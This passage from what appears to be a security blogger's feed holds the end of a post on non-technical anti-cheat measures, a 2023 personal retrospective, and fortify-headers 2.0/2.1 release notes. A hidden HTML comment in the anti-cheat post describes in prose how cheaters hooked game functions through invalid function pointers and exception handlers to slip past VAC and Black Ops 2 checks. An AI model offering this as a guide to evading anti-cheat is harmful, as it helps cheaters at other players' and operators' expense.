kneecapping their team will <a href="https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-afk/">get penalised</a>.</li> +<li>Players are encouraged to report toxic behaviours, and to not engage, + since engagement might be penalized as well</li> +<li>Players using, + <a href="https://support-valorant.riotgames.com/hc/en-us/articles/360044791253-Inappropriate-In-Game-Names">certain words</a> + whether in chat or as username, + will be flagged as toxic.</li> +<li>Penalties come in various size, shapes and durations, allowing to fine tune + according to behaviour: warnings, voice/chat restrictions, + reduction in experience points + gain, reduction in raked rating, increased queue waiting time, ranking game + ban, global ban.</li> +<li>Valorant <a href="https://playvalorant.com/en-us/news/dev/valorant-systems-health-series-smurf-detection/">published</a> + their approach to mitigate smurfing; acknowledging that while having multiple accounts + to smurf/trade/evade bans/… is not desirable, some people are using + them to to play with friends with a better/worse ranked level. + So while they took measures to detect and mitigate having multi-accounts, + they also relaxed the maximum ranks difference for players to play together, + which significantly reduced the number of alt-accounts usage, + but also didn't alter match fairness in a measurable way.</li> +</ul> +<h2>Conclusion</h2> +<p>This is all nice and dandy, but is it working? According to +data from <a href="https://www.ubisoft.com/en-us/game/rainbow-six/siege/player-protection">Rainbow Six Siege</a>: +<a href="https://playvalorant.com/en-us/news/tags/game-health-series/">Valorant</a>, +<a href="https://www.callofduty.com/blog/2023/06/call-of-duty-ricochet-anti-cheat-season-04-update">Call of Duty: Modern Warfare 2</a>, +… those measures are indeed working pretty well, +and are likely providing better results than technical-only +measures. They are also cheaper, since steering people away from toxic +behaviours doesn't reduce the number of players as much as banning them +outright. It's nice to see that the video game industry realised that cheating and +abuses/toxicity could be addressed in similar non-technical ways, and that both +approaches are complementary. This is a stark contrast to other ones, +where techno-solutionism is seen at the only possible remedy, even more so +in our machine-learning-all-the-things era. </p> +<h2>Sources and resources</h2> +<ul> +<li><a href="https://youtube.com/watch?v=hI7V60r7Jco">Anti-Cheat for Multiplayer Games</a></li> +<li><a href="https://secret.club/">Secret Club</a></li> +<li><a href="https://unknowncheats.me/">UnKnoWnCheaTs</a></li> +</ul> +<!-- + +Steam's VAC was already doing basic stuff, like hashing the entire code region of the game on launch, storing the hash, and then re-hashing the code region every few minutes to see if someone had changed the code, presumably to install a trampoline and hook into the game's functions (to write aimbots, wallhacks, etc). When a hash change is detected, the player is banned. + +Cheaters found a way to bypass this by simply finding the function they desired to hook and setting any random function pointer within it to 0 (stored in rw memory, so doesn't trigger the code region hash mentioned above). This would trigger an exception, which the cheat developer would catch with Windows' SEH/VEH, effectively giving them a hook into the function without having to modify the code region. + +Activision's anti-cheat would then go through a bunch of function pointers (the ones in network/rendering functions mostly, since that's where you'd want to hook to write cheats) and check for null pointers. If a pointer was null, they'd ban you. + +Funny enough, this was incredibly easy to bypass: just set the pointer to 1, or 2, or 3, or ...!! All of these addresses are most likely still invalid and they'll still trigger an exception, even though they're theoretically valid pointers, giving you a de-facto hook into the game that bypassed both VAC and BO2's anticheat, and was pretty much unpatchable. Perhaps that's why they started being annoying and banning people for running IDA, Cheat Engine, etc., which are certainly probable indicators but definitely not hard evidence for cheats. + +-->jvoisinFri, 12 Jan 2024 20:15:00 +0100tag:dustri.org,2024-01-12:/b/on-non-technical-video-games-cheat-mitigations.htmlgames2023 in retrospecthttps://dustri.org/b/2023-in-retrospect.html<p>In 2023, I did, amongst other things:</p> +<ul> +<li>Donated some money:<ul> +<li>$400 to <a href="https://fsfe.org/">FSFE</a></li> +<li>$5000 to <a href="https://noyb.eu">NOYB</a></li> +<li>$5000 to <a href="https://riseup.net">Riseup</a></li> +<li>$5000 to the <a href="https://archive.org">Internet Archive</a></li> +<li>$5000 to the <a href="https://en.wikipedia.org/wiki/Planned_Parenthood">Planned Parenthood Federation of America</a></li> +<li>$1000 to <a href="https://daysforgirls.org">days for girls</a>, on the advice of <a href="https://foreignbystander.com/">chik</a> from <a href="https://darkscience.net">darkscience</a>.</li> +<li>$200 each, as a <a href="https://opensource.googleblog.com/search/label/peer%20bonus">Open Source Peer Bonus</a>, courtesy of Google, to<ul> +<li><a href="https://github.com/richfelker/">Rich Felker</a> for their work on <a href="https://musl.libc.org">musl</a>.</li> +<li><a href="https://mxxn.io/">Blaž Hrastnik</a> for their work on <a href="https://helix-editor.com">Helix</a>.</li> +<li><a href="https://github.com/justinmk">Justin Keyes</a> for their work on <a href="https://neovim.io">Neovim</a>.</li> +<li><a href="https://github.com/jeanas">Jean Abou-Samra</a> for their work on <a href="https://pygments.org">Pygments</a>.</li> +</ul> +</li> +</ul> +</li> +<li>Read a couple of books:<ul> +<li><a href="https://en.wikipedia.org/wiki/The_Killer_(comics)">Le tueur</a></li> +<li>Some <a href="https://en.wikipedia.org/wiki/Warhammer_40,000">Warhammer 40,000</a>:<ul> +<li><a href="https://wh40k.lexicanum.com/wiki/Sons_of_the_Hydra_(Novel)">Sons of the Hydra</a>, neat.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Anthology)">Dark Imperium (Anthology)</a></li> +<li><a href="https://wh40k.lexicanum.com/wiki/Shroud_of_Night_(Novel)">Shroud of Night</a>, forgettable.</li> +<li>The <a href="https://wh40k.lexicanum.com/wiki/Black_Legion_(Novel_Series)">Black Legion</a> duology, solid.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Renegades:_Harrowmaster_(Novel)">Renegades: Harrowmaster</a>, witty.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Assassinorum:_Kingmaker_(Novel)">Assassinorum: Kingmaker</a>, decent.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Night_Lords_(Novel_Series)">Night Lords: The Omnibus</a>, outstanding.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_Deacon_of_Wounds_(Novel)">The Deacon of Wounds</a> great writing style.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/Assassinorum:_Execution_Force_(Novel)">Assassinorum: Execution force</a>, forgettable.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_Infinite_and_the_Divine_(Novel)">The Infinite and the Divine</a>, highly entertaining.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_I_(Novel)">The End and the Death vol. 1</a>, a <em>teensy</em> bit over the top.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_End_and_the_Death:_Volume_II_(Novel)">The End and the Death vol. 2</a>, almost there, almost there, ...</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_Macharian_Crusade_(Novel_Series)">The Macharian Crusade Omnibus</a>, a writing style a tad heavy.</li> +<li>The <a href="https://wh40k.lexicanum.com/wiki/Dark_Imperium_(Novel_Series)">Dark Imperium</a> trilogy, nice to see the setting moving forward!</li> +<li>The first 5 tomes of the <a href="https://wh40k.lexicanum.com/wiki/Dawn_of_Fire_(Novel_Series)">Dawn of Fire</a> heptalogy, definitely a series of books.</li> +<li><a href="https://wh40k.lexicanum.com/wiki/The_Lion:_Son_of_the_Forest_(Novel)">The Lion: Son of the Forest</a>, I've seen Dragon Balls episodes with a quicker pace.</li> +<li>Finished the <a href="https://wh40k.lexicanum.com/wiki/The_Beast_Arises_(Novel_Series)">Beast Arises</a> + dodecalogy. The last chapter of the final book deserved a book on its own, + instead of being speedrunned in ~30 pages.</li> +</ul> +</li> +<li><a href="https://en.wikipedia.org/wiki/It%27s_OK_to_Be_Angry_About_Capitalism">It's OK to Be Angry About Capitalism</a></li> +<li><a href="https://nostarch.com/hacks-leaks-and-revelations">Hacks, Leaks, and Revelations</a>: a <a href="https://dustri.org/b/book-review-hacks-leaks-and-revelations.html">reference</a></li> +<li><a href="https://direct.mit.edu/books/book/3008/Beyond-ChoicesThe-Design-of-Ethical-Gameplay">Beyond choices: The design of ethical gameplay</a></li> +<li><a href="https://editions-ixe.fr/catalogue/non-le-masculin-ne-lemporte-pas-sur-le-feminin-ned/">Non, le masculin ne l’emporte pas sur le féminin !</a></li> +<li><a href="https://en.wikipedia.org/wiki/This_Changes_Everything_(book)">This Changes Everything: Capitalism vs. the Climate</a></li> +<li><a href="https://www.goodreads.com/en/book/show/51176626">Break 'em Up: Recovering Our Freedom from Big Ag, Big Tech, and Big Money</a>.</li> +<li><a href="https://aosabook.org/en/buy.html">The Performance of Open Source Applications</a>: contains some really nice tidbits.</li> +<li><a href="https://aosabook.org/en/">The Architecture of Open Source Applications, Part 1.</a>: computers were a mistake.</li> +<li><a href="https://nostarch.com/kill-it-fire">Kill It with Fire: Manage Aging Computer Systems (and Future Proof Modern Ones)</a></li> +<li><a href="https://goodreads.com/book/show/38212110-technically-wrong">Technically Wrong: Sexist Apps, Biased Algorithms, and Other Threats of Toxic Tech</a></li> +<li><a href="https://nostarch.com/locksport">Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking</a>: <a href="https://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html">great</a></li> +<li><a href="https://freakyclown.com/publications">How I Rob Banks (and other such places)</a>, written in an unbearably cocky style, mildly entertaining.</li> +<li><a href="https://samleecole.com">How Sex Changed the Internet and the Internet Changed Sex: An Unexpected History</a>, a bit too shallow for my taste.</li> +<li><a href="https://toddrose.com/endofaverage">The End of Average</a>, great book, except the part where the author argues that the goal of schools is to prepare kids for jobs.</li> +<li><a href="https://staffeng.com/book">Staff Engineer: Leadership beyond the management track</a>, I'm not there yet, but it helped me understand some coworker's jobs and struggles.</li> +<li><a href="https://thirdeditions.com/en/sagas/94-metal-gear-solid-hideo-kojima-s-magnum-opus-9791094723616.html">Metal Gear Solid. Hideo Kojima's Magnum Opus</a>: + deluge of superlatives directed at Kojima, speculative opinionated wild rambling, no mention of the <a href="https://en.wikipedia.org/wiki/Quiet_(Metal_Gear)">rampant</a> + <a href="https://theguardian.com/technology/2014/apr/09/metal-gear-solid-ground-zeroes-sexual-violence">sexism</a>, + typos and frenchisms, … prefer the <a href="https://en.wikipedia.org/wiki/Metal_Gear">wikipedia</a> and <a href="https://metalgear.fandom.com/wiki/Metal_Gear_Wiki">fandom</a> pages instead.</li> +<li><a href="https://en.wikipedia.org/wiki/The_Mirage_(Ruff_novel)">The Mirage</a>: I + was expecting more of a description of an alternative history than a + novel with a lame plot and forgettable characters. The humour is goofy + and unsubtle: a punk rock group called Green Desert has an anti-war + anthem named "Arabian Idiot"; a morning talk show called Jazeera &amp; + Friends, … but this is completely on par with the post-11-September + anti-muslim/Iraqi rhetoric, making it both funny and perfectly adequate.</li> +</ul> +</li> +<li>Moved back to France.</li> +<li>Volunteered at a library.</li> +<li>Refused to sell <a href="https://websec.fr">websec.fr</a></li> +<li>Listened to <a href="https://listenbrainz.org/user/jvoisin/year-in-music/">some music</a>.</li> +<li>Attended some concerts:<ul> +<li><a href="https://en.wikipedia.org/wiki/Eisbrecher">Eisbrecher</a>, along with <a href="https://maerzfeld.de">Maerzfeld</a></li> +<li><a href="https://gojira-music.com">Gojira</a>, along with <a href="https://alienweaponry.com">Alien Weaponry</a></li> +<li><a href="https://katatonia.com">Katatonia</a>, along with + <a href="https://som.band">SOM</a> and <a href="https://solstafir.net">Sólstafir</a></li> +<li><a href="https://heavenshallburn.com">Heaven Shall Burn</a>, along with + <a href="https://trivium.org">Trivium</a>, + <a href="https://en.wikipedia.org/wiki/Malevolence_(band)">Malevolence</a>, and + <a href="https://obituary.cc">Obituary</a></li> +<li><a href="https://igorrr.com">Igorrr</a>, along with + <a href="https://derwegeinerfreiheit.de">Der Weg einer Freiheit</a>, + <a href="https://en.wikipedia.org/wiki/Amenra">Amenra</a>, and + <a href="http://hangmanschair.com">Hangman's Chain</a></li> +</ul> +</li> +<li>Played some video games:<ul> +<li>On a computer:<ul> +<li><a href="https://www.doomworld.com/forum/topic/134292-myhousewad/">MyHouse.WAD</a>: <a href="https://doomwiki.org/wiki/My_House">wow</a>.</li> +<li><a href="https://en.wikipedia.org/wiki/Observer_(video_game)">&gt;observer_</a>: didn't like it.</li> +<li><a href="https://en.wikipedia.org/wiki/Sea_of_Thieves">Sea of Thieves</a>, ~ok with friends.</li> +<li><a href="https://hyperstrange.com/our-games/blood-west/">Blood West</a>: <a href="https://en.wikipedia.org/wiki/Thief_(series)">Thief</a> in the Far West.</li> +<li><a href="https://en.wikipedia.org/wiki/Half-Life%3A_Alyx">Half Life: Alyx</a>: impressive in every way.</li> +<li><a href="https://en.wikipedia.org/wiki/High_on_Life_(video_game)">High on Life</a>: excruciatingly tedious at best.</li> +<li><a href="https://en.wikipedia.org/wiki/Cyberpunk_2077#Cyberpunk_2077:_Phantom_Liberty">Cyberpunk 2077: Phantom Liberty</a>: glorious.</li> +<li><a href="https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege">Rainbow Six: Siege</a>: better than <a href="https://en.wikipedia.org/wiki/Counter-Strike">Counter Strike</a>.</li> +<li><a href="https://en.wikipedia.org/wiki/Hogwarts_Legacy">Hogwarts Legacy</a>: breathtaking and well rounded.</li> +<li><a href="https://store.steampowered.com/app/2329130/Rewind_Or_Die/">Rewind or Die</a> felt like playing resident evil again &lt;3</li> +<li><a href="https://en.wikipedia.org/wiki/Outer_Wilds">Outer Wilds</a>: the controls were too terrible for me to play.</li> +<li><a href="https://en.wikipedia.org/wiki/The_Last_of_Us_Part_I">The Last of Us Part 1</a>: ok-ish, not my jam, Joel is a moron.</li> +<li><a href="https://en.wikipedia.org/wiki/The_Witcher_3%3A_Wild_Hunt">The Witcher 3 - Wild Hunt</a>: when did video game get so long…</li> +<li><a href="https://en.wikipedia.org/wiki/Apex_Legends">Apex Legends</a>: a lame version of <a href="https://en.wikipedia.org/wiki/Titanfall_2">Titanfall 2</a>, ok-ish when playing ranked.</li> +<li><a href="https://en.wikipedia.org/wiki/Warhammer_40,000:_Chaos_Gate_-_Daemonhunters">Warhammer 40,000: Chaos Gate - Daemonhunters</a>: + <a href="https://en.wikipedia.org/wiki/XCOM">XCOM</a> with <a href="https://wh40k.lexicanum.com/wiki/Grey_Knights">Grey knights</a>.</li> +<li><a href="https://en.wikipedia.org/wiki/Metal%3A_Hellsinger">Metal: Hellsinger</a>: looked super-lame on gameplay videos, but was surprisingly fun.</li> +<li><a href="https://en.wikipedia.org/wiki/Starfield_(video_game)">Starfield</a>: a buggy clunky quickly-boring + <a href="https://en.wikipedia.org/wiki/The_Elder_Scrolls_V:_Skyrim">Skyrim</a> in space, quickly went back to Cyberpunk 2077.</li> +<li><a href="https://store.steampowered.com/app/1172650/INDUSTRIA/">Industria</a>: catastrophic performances for looking utterly terrible, along with a clunky feeling, promptly uninstalled.</li> +<li><a href="https://en.wikipedia.org/wiki/Journey_to_the_Savage_Planet">Journey to the Savage Planet</a>: Rich in poop-oriented + jokes, trying hard to be funny and maybe even subversive but systematically falling flat.</li> +<li><a href="https://en.wikipedia.org/wiki/Baldur%27s_Gate_3">Baldur's Gate 3</a>: not a + fan of the <a href="https://en.wikipedia.org/wiki/Dungeons_%26_Dragons">Dungeons &amp; Dragons</a> dice-based + gameplay, nor of the hard dialog choices cutting entire parts of the game, + but still an amazing game.</li> +<li><a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain">Metal Gear Solid V: The Definitive Experience</a>, + so <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_Ground_Zeroes">Metal Gear Solid V: Ground Zeroes</a> and + <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain">Metal Gear Solid V: The Phantom Pain</a>. + I bought it after having seen the former being run at the <a href="https://gamesdonequick.com/tracker/run/5506">AGDQ 2023</a>. + Truly amazing game overall, except for the <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain#Portrayal_of_Quiet">sexualisation of the <em>sole</em> female character</a>.</li> +</ul> +</li> +<li>On a (glorious) <a href="https://en.wikipedia.org/wiki/Steam_Deck">Steam Deck</a>:<ul> +<li><a href="https://store.steampowered.com/app/638990/UNDYING/">UNDYING</a>: nice + zombie-related game.</li> +<li><a href="https://store.steampowered.com/agecheck/app/1593500/">God of War</a>, + surprisingly "wholesome".</li> +<li><a href="https://blacksaltgames.com/">Dredge</a>, terrific indie game: gorgeous looking, simple yet gripping gameplay, interesting lore and story, …</li> +<li><a href="https://en.wikipedia.org/wiki/Vampyr_(video_game)">Vampyr</a>, because + I miss <a href="https://en.wikipedia.org/wiki/Vampire:_The_Masquerade_%E2%80%93_Bloodlines">Vampire: The Masquerade – Bloodlines</a>. It could have been so much more instead of being "meh".</li> +</ul> +</li> +</ul> +</li> +<li>Ported <a href="https://github.com/jvoisin/snuffleupagus">Snuffleupagus</a> to PHP8.3.</li> +<li>Contributed to a couple of software:<ul> +<li><a href="https://github.com/lite-xl/lite-xl/pulls?q=is%3Apr+author%3Ajvoisin">lite-xl</a></li> +<li><a href="https://alpinelinux.org/">Alpine linux</a>, by:<ul> +<li>becoming a <a href="https://pkgs.alpinelinux.org/packages?branch=edge&amp;repo=&amp;arch=&amp;maintainer=Julien%20Voisin">package maintainer</a></li> +<li><a href="https://gitlab.alpinelinux.org/alpine/tsc/-/issues/64">documenting a bit</a> the compiler-based mitigations, + and <a href="https://gitlab.alpinelinux.org/alpine/abuild/-/merge_requests/221">enabling some missing ones</a>.</li> +</ul> +</li> +<li>Because of <a href="https://runzero.com">runZero</a>, I<ul> +<li><a href="https://github.com/rapid7/recog/pulls?q=+is%3Apr+author%3Ajvoisin">contributed to recog</a> to improve some of its fingerprints;</li> +<li><a href="https://github.com/Sonarr/Sonarr/issues/5601">made it less trivial</a> to detect Sonarr/Lidarr/Radarr/… versions.</li> +</ul> +</li> +<li><a href="https://github.com/struct/isoalloc/pulls?q=is%3Apr+author%3Ajvoisin+created%3A2023">isoalloc</a></li> +<li><a href="https://github.com/pygments/pygments/commits?author=jvoisin">pygments</a>, mainly by adding lexers.</li> +<li><a href="https://github.com/morpheus65535/bazarr/pull/2304">bazaar</a>, making it work on Alpine Linux.</li> +<li><a href="https://github.com/google/oss-fuzz/pulls?q=is%3Apr+author%3Ajvoisin">oss-fuzz</a>, + including some <a href="https://github.com/guidovranken/python-library-fuzzers/pulls?q=is%3Apr+author%3Ajvoisin">python fuzzers</a>.</li> +<li><a href="https://github.com/daanx/mimalloc-bench">mimalloc-bench</a>, + resulting in some <a href="https://github.com/microsoft/snmalloc/pull/587#issuecomment-1442077886">real world improvements</a>.</li> +<li><a href="https://github.com/quodlibet/mutagen/pulls/jvoisin">mutagen</a>, since it's + used by <a href="https://0xacab.org/jvoisin/mat2">mat2</a>. I even <a href="https://github.com/google/oss-fuzz/pull/10072">integrated it into + OSS-Fuzz</a>.</li> +<li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+jvoisin">metasploit</a>, +by doing a lot of code reviews for pull-requests, and landing some modules, + like a <a href="https://github.com/rapid7/metasploit-framework/pull/17711">SPIP RCE</a>, + courtesy of <a href="https://thinkloveshare.com/">Laluka</a> and <a href="https://twitter.com/coiffeur0x90">coiffeur</a>.</li> +<li><a href="https://chrony.tuxfamily.org/">chrony</a>, spending some time debugging + <a href="https://mail-archive.com/chrony-dev@chrony.tuxfamily.org/msg02572.html">how to enable its seccomp sandbox</a> + on Alpine Linux, resulting in a <a href="https://gitlab.alpinelinux.org/alpine/aports/-/issues/14891#note_316587">couple of improvements</a>, + and of course a <a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/47087">now-enabled-by-default sandbox</a> there.</li> +</ul> +</li> +<li>Got a CVE for a bug I <a href="https://github.com/py-pdf/pypdf/security/advisories/GHSA-jrm6-h9cq-8gqw">reported</a> in 2020!</li> +<li>Kept maintaining <a href="https://openmw.org">OpenMW</a>'s infrastructure.</li> +<li>Learnt some <a href="https://en.wikipedia.org/wiki/Rust_(programming_language)">Rust</a> so I could hang out with the cool kids.</li> +<li>Helped organise the <a href="http://g.co/ctf">GoogleCTF</a>, which was <a href="https://ctftime.org/event/1929">pretty well received</a>.</li> +<li>Added more possible subtitles to this blog, bringing their numbers above 1100.</li> +<li>Reduced the size of this website's webpages; most should now be around 10kb.</li> +<li>Contributed a bit to Wikipedia, in <a href="https://en.wikipedia.org/wiki/Special:Contributions/jvoisin">English</a> and in <a href="https://fr.wikipedia.org/wiki/Sp%C3%A9cial:Contributions/jvoisin">French</a> + under my usual nickname.</li> +<li>Moved my emails away from <a href="https://gandi.net">Gandi</a> over to <a href="https://migadu.com">Migadu</a>, + given their <a href="https://chatting.neocities.org/posts/2023-gandi-pricing">ludicrous</a> post-acquisition price increase.</li> +<li><a href="https://github.com/jvoisin/compiler-flags-distro">Investigated</a> what + hardening-related compiler flags where enabled by default by popular Linux + distributions.</li> +<li><a href="https://tests.stockfishchess.org/users#jvoisin">Contributed a bit</a> (by crunching numbers) to <a href="https://stockfishchess.org/">Stockfish</a>, + an open-source chess engine with an <a href="https://en.wikipedia.org/wiki/Elo_rating_system">Elo rating</a> + around <a href="https://computerchess.org.uk/ccrl/4040/rating_list_all.html">3500</a>.</li> +<li>Got featured a couple of times on Hackernew/reddit/lobste.rs/… frontpage, + thanks to a <s><a href="https://www.reddit.com/r/karma/wiki/index/faq/">karma</a> junkie</s> + marketing-able <a href="https://dijit.sh">friend</a></li> +<li>Kept maintaining <a href="https://nos-oignons.net/">Nos Oignons</a>'s infrastructure with <a href="https://corl3ss.com/">corl3ss</a>. + We're back at handling <a href="https://nos-oignons.net/Services/index.en.html">around 2%</a> + of tor's exit traffic! Our little non-profit is now 10 years old.</li> +<li><a href="https://github.com/jvoisin/fortify-headers">Took over</a> the development and maintenance of + <a href="https://u.2f30.org/sin/">sin</a>'s <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>. + It's used by <a href="https://openwrt.org/">OpenWrt</a>, <a href="https://www.alpinelinux.org/">Alpine Linux</a>, + and <a href="https://bugs.gentoo.org/546692">soon</a> in <a href="https://wiki.gentoo.org/wiki/Project:Musl">Gentoo Hardened's musl flavour</a>.</li> +<li>Ported my resume/cover letter template from + <a href="https://latex-project.org">LaTeX</a> to + <a href="https://typst.app/docs/guides/guide-for-latex-users/">typst</a> and felt so + much joy purging away all the LaTeX/TeXLive/XeTeX/LuaTeX/… garbage from my computer, + to never have to touch it again.</li> +<li>Got a "Documented Feedback from Employee Relations" from HR at work for + saying "Awkward to have yet another middle aged rich white het guy come talk + about diversity and inclusion." on an internal chatroom, about <a href="https://booleanblackbelt.com/who-is-the-boolean-black-belt/">this middle + aged rich white het guy</a> + invited to give an internal talk about diversity and inclusion.</li> +</ul>jvoisinSun, 31 Dec 2023 23:59:00 +0100tag:dustri.org,2023-12-31:/b/2023-in-retrospect.htmlmiscfortify-headers 2.1https://dustri.org/b/fortify-headers-21.html<p>Only 4 days after the <a href="https://dustri.org/b/fortify-headers-20.html">release</a> of +<a href="https://github.com/jvoisin/fortify-headers">fortify-headers</a>, +here is the <a href="https://github.com/jvoisin/fortify-headers/releases/tag/2.1">2.1</a>, +fixing a couple of portability issues and tidying a bit the code. +<a href="https://chimera-linux.org/">Chimera Linux</a> users are +<a href="https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8">as of today</a> +<del>test driving</del> benefiting from it.</p> +<h2>Changelog</h2> +<ul> +<li>Remove superfluous includes from the headers</li> +<li>Put some functions in to their proper files</li> +<li>Add a missing include in <code>sys/select.h</code></li> +<li>Do not use static inline for C++ to avoid <a href="https://en.wikipedia.org/wiki/One_Definition_Rule">ODR</a>-wise violation</li> +<li>Guard some conditional stdio APIs with the right macros</li> +<li>Fix a typo that would prevent C++ code from compiling correctly</li> +<li>Rename macros to be more namespace-friendly</li> +</ul> +<h2>Implementation details</h2> +<p>Including parts from the +<a href="https://en.wikipedia.org/wiki/Standard_library">stdlib</a> in fortify means that +programs that don't correctly include everything they need might compile, even +though they shouldn't. Fortunately, the only bits used are either:</p> +<ul> +<li><code>size_t</code>, which can be obtained by using <code>typeof(sizeof(char))</code>, + since it's by definition the type returned by <code>sizeof</code>.</li> +<li>constants like <code>PATH_MAX</code> (that we can define to <code>4096</code>), <code>MB_LEN_MAX</code> + (defined as 16), ...</li> +<li>eldritch constructs like <a href="https://www.man7.org/linux/man-pages/man3/MB_CUR_MAX.3.html"><code>MB_CUR_MAX</code></a>, + whose usage we hide behind an <code>#ifdef</code>.</li> +</ul> +<p>The other big thing is the one caught by <a href="https://github.com/ssbr">Devin Jeanpierre</a>, the usage of <code>static +inline</code> while <a href="https://en.cppreference.com/w/c/language/inline">absolutely alright in C</a>, +is problematic in C++, because of the <a href="https://en.wikipedia.org/wiki/One_Definition_Rule">One Definition Rule</a>: +In C++, if a function is declared inline, it must be declared inline in every translation unit, and also every +definition of an inline function must be exactly the same (while in C they may +be different.) On the other hand, C++ allows non-const function-local +statics and all function-local statics from different definitions of an inline +function are the same in C++, but distinct in C. +More practically, calling <code>FORTIFY_INLINE</code> functions from an inline function in C++, and including +the header defining that inline function in more than one <a href="https://en.wikipedia.org/wiki/Translation_unit_%28programming%29">translation +unit</a> results +in undefined behaviour. The fix is easy, and was +<a href="https://github.com/jvoisin/fortify-headers/commit/c607773a80e6685ab4c922245c33cf2ea5dcfb72">commited</a> +by <a href="https;//github.com/q66">q66</a>: use <code>static</code> instead of <code>static inline</code> in C++.</p> +<p>Thanks <a href="https://github.com/ssbr">Devin Jeanpierre</a> for spending time to look at +C++ compatibility, <a href="https://github.com/q66">q66</a> for his patches, willingness to ship +fortify-headers in Chimera, and becoming co-maintainer.</p>jvoisinSat, 16 Dec 2023 20:30:00 +0100tag:dustri.org,2023-12-16:/b/fortify-headers-21.htmlsecurityfortify-headers 2.0https://dustri.org/b/fortify-headers-20.html<p>8 months ago, I started to contribute to <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>, +a standalone <a href="https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html">fortify-source</a> implementation, +with the goal of implementing <code>FORTIFY_SOURCE=3</code>, since the current version +only implemented <code>FORTIFY_SOURCE=2</code>. I reached out to +<a href="https://u.2f30.org/sin/">sin</a>, the original maintainer, to ask if he was +interested in my changes, and he told me the project wasn't maintained +anymore. But he would be happy to give me the commit bit instead. I spent +some months <a href="https://github.com/jvoisin/fortify-headers">writing code</a> before +accepting, to see if it would be a good idea: Would I be able to maintain it? +To improve it? Add more features? and so on. Turns out the answer is yes, and +I'm thus happy to announce the immediate availability of <a href="https://git.2f30.org/fortify-headers/refs.html">fortify-headers +2.0</a>!</p> +<h2>Changelog</h2> +<ul> +<li>Added clang support, based on <a href="https://github.com/q66">q66</a>'s patches.</li> +<li>Fixed a 64b-related incompatibility around <code>ppoll</code> </li> +<li>Added a ton of tests, with <a href="https://jvoisin.github.io/fortify-headers/">around 90% of coverage</a></li> +<li>Made use of <code>__builtin_dynamic_object_size</code> when <code>FORTIFY_SOURCE=3</code> is used, + instead of <code>__builtin_object_size</code>.</li> +<li>Made use of <a href="https://clang.llvm.org/docs/AttributeReference.html">attributes</a>: + <a href="https://clang.llvm.org/docs/AttributeReference.html#alloc-size">alloc_size</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#diagnose-as-builtin">diagnose_as_builtin</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#diagnose-if">diagnose_if</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#format">format</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#malloc">malloc</a>, + <a href="https://clang.llvm.org/docs/AttributeReference.html#nodiscard-warn-unused-result">warn_unused_result</a>, + …</li> +<li>Added some missing functions, like <code>calloc</code>, <code>fdopen</code>, <code>fmemopen</code>, <code>fprintf</code>, + <code>malloc</code>, <code>memchr</code>, <code>popen</code>, <code>printf</code>, <code>qsort</code>, <code>umask</code>, …</li> +<li>Added continuous integration, both on clang and gcc, covering the whole range + of supported versions across the latest Ubuntu LTS.</li> +</ul> +<h2>Implementation details</h2> +<p>Since this is a pretty uncommon piece of software, friends of mine have been +asking me details about the involved black magic. +While it's possible to overload functions with the +<a href="https://clang.llvm.org/docs/AttributeReference.html#overloadable">overloadable</a> +attribute in C, there isn't really something similar for drive-by overloading. +Fortunately, it's possible to hack an equivalent by combining +<a href="https://gcc.gnu.org/onlinedocs/cpp/Wrapper-Headers.html"><code>#include_next</code></a> with +the following macros:</p> +<div class="codehilite"><pre><span></span><code><span class="cp">#define _FORTIFY_STR(s) #s</span> +<span class="cp">#define _FORTIFY_ORIG(p, fn) __typeof__(fn) __orig_##fn __asm__(_FORTIFY_STR(p) #fn)</span> +<span class="cp">#define _FORTIFY_FNB(fn) _FORTIFY_ORIG(__USER_LABEL_PREFIX__, fn)</span> +<span class="cp">#define _FORTIFY_FN(fn) _FORTIFY_FNB(fn); _FORTIFY_INLINE</span> +</code></pre></div> + +<p>This makes the original function available when prefixed with <code>__orig</code>, +while allowing overloading. +On clang, the <a href="https://clang.llvm.org/docs/AttributeReference.html#pass-object-size-pass-dynamic-object-size"><code>pass_object_size</code>/<code>pass_dynamic_object_size</code></a> +attribute is used to pass down arguments size; the assembly label preventing +weird <a href="https://en.wikipedia.org/wiki/Name_mangling">mangling</a> issues. Since +it's only a label, despite being assembly, it's still portable across various +architectures. The <code>_FORTIFY_INLINE</code> macro contains all possible "please inline this +function" directives as possible, to avoid polluting the symbols.</p> +<p>There is of course a ton of <code>#ifdef</code>/<code>#if __has_atribute</code>/… to work around various +compiler intrinsics, like clang missing <code>__builtin_va_arg_pack</code> or gcc missing +<code>diagnose_if</code>, so that fortify-headers will always make use of the most +features available.</p> +<p>It is indeed a particularly gross pile of hacks, +but this is C, also known as "nice things and why we can't have them."</p> +<p>Thanks to <a href="https://u.2f30.org/sin/">sin</a> for creating the project and +maintaining it for years, <a href="https://daniel.micay.dev">strcat</a> for his inspiring +work on fortifying <a 